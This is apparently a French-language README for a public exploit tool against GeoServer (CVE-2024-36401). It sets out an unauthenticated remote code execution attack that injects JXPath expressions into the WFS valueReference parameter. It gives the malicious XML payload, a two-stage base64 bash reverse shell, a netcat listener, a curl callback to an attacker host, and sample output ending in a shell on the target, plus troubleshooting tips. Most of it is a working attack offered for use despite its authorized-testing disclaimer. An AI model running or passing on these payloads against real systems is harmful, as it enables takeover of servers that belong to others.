
Exploit RCE non authentifié pour GeoServer (CVE-2024-36401) via injection XPath dans le filtre OGC. Prend en charge le reverse shell et l'exécution de commandes aveugles avec détection automatique de version et sondage des types d'entités.
Exploit d'exécution de code à distance non authentifié pour GeoServer via l'injection du paramètre valueReference de filtre OGC (évaluation XPath/JXPath).
Avertissement : Cet outil est destiné uniquement aux tests d'intrusion autorisés et à la recherche en sécurité. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite. L'auteur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par cet outil.
GeoServer est un serveur Java open source pour le partage de données géospatiales, largement déployé dans les environnements gouvernementaux, d'entreprise et de recherche. CVE-2024-36401 permet à un attaquant non authentifié d'exécuter des commandes système arbitraires sur l'hôte en injectant des expressions Java dans les paramètres de filtre OGC (Open Geospatial Consortium).
La vulnérabilité a été ajoutée au catalogue CISA Known Exploited Vulnerabilities (KEV) en juillet 2024 en raison d'une exploitation active dans la nature.
| Branche | Plage vulnérable | Corrigé dans |
|---|---|---|
| 2.23.x | < 2.23.6 | 2.23.6 |
| 2.24.x | < 2.24.4 | 2.24.4 |
| 2.25.x | < 2.25.2 | 2.25.2 |
Les versions de GeoServer antérieures à 2.23.0 sont également probablement concernées mais sont en fin de vie et non testées.
GeoServer utilise la bibliothèque GeoTools pour évaluer les expressions de filtre OGC. Le paramètre valueReference (ainsi que d'autres comme CQL_FILTER) est passé à JXPathContext.selectNodes() d'Apache Commons JXPath sans désinfection.
JXPath permet d'appeler des méthodes Java arbitraires via des expressions comme :
exec(java.lang.Runtime.getRuntime(), 'id')
Cette évaluation a lieu avant la vérification de l'authentification pour certains points d'accès, rendant la vulnérabilité totalement non authentifiée.
Points d'accès vulnérables :
POST /geoserver/wfs — requête GetPropertyValue avec valueReferenceGET /geoserver/ows — même paramètre via la chaîne de requêteNote technique importante : L'expression valueReference doit utiliser des guillemets simples (') autour de la chaîne de commande. Les guillemets doubles (") provoquent des échecs d'analyse XML et empêchent l'exécution — un écueil courant dans d'autres PoC publics.
requestssf, topp, tiger sont suffisants)git clone https://github.com/Delt-A/CVE-2024-36401-poc
cd CVE-2024-36401-poc
pip3 install requests
Ou installez les dépendances directement :
pip3 install requests
usage: exploit_CVE-2024-36401.py [-h] -t TARGET [-l LHOST] [-p LPORT]
[-c CMD] [-f FEATURE]
options :
-h, --help affiche ce message d'aide et quitte
-t, --target TARGET URL cible, ex. http://<TARGET>:8080
-l, --lhost LHOST Votre adresse IP pour le callback du reverse shell
-p, --lport LPORT Port d'écoute (défaut : 4444)
-c, --cmd CMD Commande unique à exécuter (aucun retour)
-f, --feature FEATURE Surcharge du type d'entité (détection automatique si omis)
| Mode | Options | Description |
|---|---|---|
| Reverse shell | -l LHOST -p LPORT | Reverse shell en deux étapes via bash |
| Exécution de commande | -c CMD | Exécute une commande unique (aveugle — pas de sortie) |
| Surcharge du type d'entité | -f FEATURE | Ignore la détection automatique, utilise le type spécifié |
Démarrez d'abord un écouteur :
nc -lvnp 4444
Puis lancez l'exploit :
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-l <LHOST> \
-p 4444
Sortie attendue :
_______ ________ ___ ____ ___ __ __ _____ _____ __ __ ____
/ ____/ | / / ____/ |__ \ / __ \__ \/ // / |__ // ___// // / / __ \
/ / | | / / __/________/ // / / /_/ / // /_______ /_ </ __ \/ // /_/ / / /
/ /___ | |/ / /__/_____/ __// /_/ / __/__ __/_____/__/ / /_/ /__ __/ /_/ /
\____/ |___/_____/ /____/\____/____/ /_/ /____/\____/ /_/ \____/
___
< /
/ /
/ /
/_/
GeoServer OGC XPath Injection RCE | CVE-2024-36401
Non authentifié | CVSS 9.8 | Affecte < 2.25.2 / 2.24.4 / 2.23.6
[*] Cible : http://<TARGET>:8080
[+] GeoServer détecté — version : 2.24.2
[+] La version 2.24.2 est VULNÉRABLE
[*] Sondage des types d'entités...
[+] Type d'entité : sf:archsites
[*] Type d'entité : sf:archsites
[*] Écouteur : <LHOST>:4444
[*] Démarrage : nc -lvnp 4444
[*] Étape 1 — écriture de /tmp/rs.sh sur la cible...
[+] Payload délivré via sf:archsites
[*] Étape 2 — exécution → <LHOST>:4444
[+] Terminé — vérifiez votre écouteur
Sur l'écouteur :
Connection received on <TARGET> 43210
bash: cannot set terminal process group: Inappropriate ioctl for device
bash: no job control in this shell
geoserver@target:~$
Exécutez une commande sans recevoir de sortie. Utile pour une vérification hors bande ou le dépôt de fichiers :
# Vérifier l'exécution via la création d'un fichier
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-c "touch /tmp/pwned"
# Déclencher un callback curl pour confirmer l'exécution
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-c "curl http://<LHOST>:8000/pwned"
Remarque : Les commandes contenant des métacaractères du shell (
>,|,&,;) sont automatiquement encodées en base64 pour éviter des problèmes d'analyse.
Si la détection automatique échoue, fournissez un type d'entité connu de la cible :
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-l <LHOST> \
-p 4444 \
-f topp:states
Types d'entités courants inclus avec les données d'exemple de GeoServer :
| Espace de travail | Type d'entité |
|---|---|
sf | sf:archsites, sf:bugsites, sf:roads, sf:streams |
topp | topp:states, topp:tasmania_cities, topp:tasmania_roads |
tiger | tiger:giant_polygon, tiger:poi, tiger:tiger_roads |
cite | cite:Buildings |
L'exploit envoie une requête WFS GetPropertyValue avec une expression valueReference malveillante :
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>
exec(java.lang.Runtime.getRuntime(),'COMMAND')
</wfs:valueReference>
</wfs:GetPropertyValue>
Pour le reverse shell, une approche en deux étapes est utilisée pour éviter les problèmes avec les métacaractères du shell à l'intérieur de l'argument chaîne unique de exec() :
Étape 1 — Écrire le reverse shell dans /tmp/rs.sh via un encodage base64 et l'expansion d'accolades du shell (pas d'espaces dans la chaîne exec) :
bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{tee,/tmp/rs.sh}
Étape 2 — Exécuter le script :
bash /tmp/rs.sh
Cette approche évite d'avoir besoin d'un interpréteur shell dans le premier appel exec(), ce qui la rend fiable sur différentes configurations système.
[-] Impossible de se connecter à la cible
curl http://<TARGET>:8080/geoserver/web/[-] Aucun type d'entité utilisable trouvé
-f <espace_de_travail>:<type>curl "http://<TARGET>:8080/geoserver/wfs?request=GetCapabilities"[+] Payload délivré mais pas de shell reçu
LHOST:LPORT") autour de la commande — cela ne fonctionne pas. Assurez-vous d'utiliser des guillemets simples (') à l'intérieur de l'expression valueReference.[!] La version X.X.X est peut-être patchée — tentative quand même
Ce projet est sous licence MIT. Voir le fichier LICENSE pour plus de détails.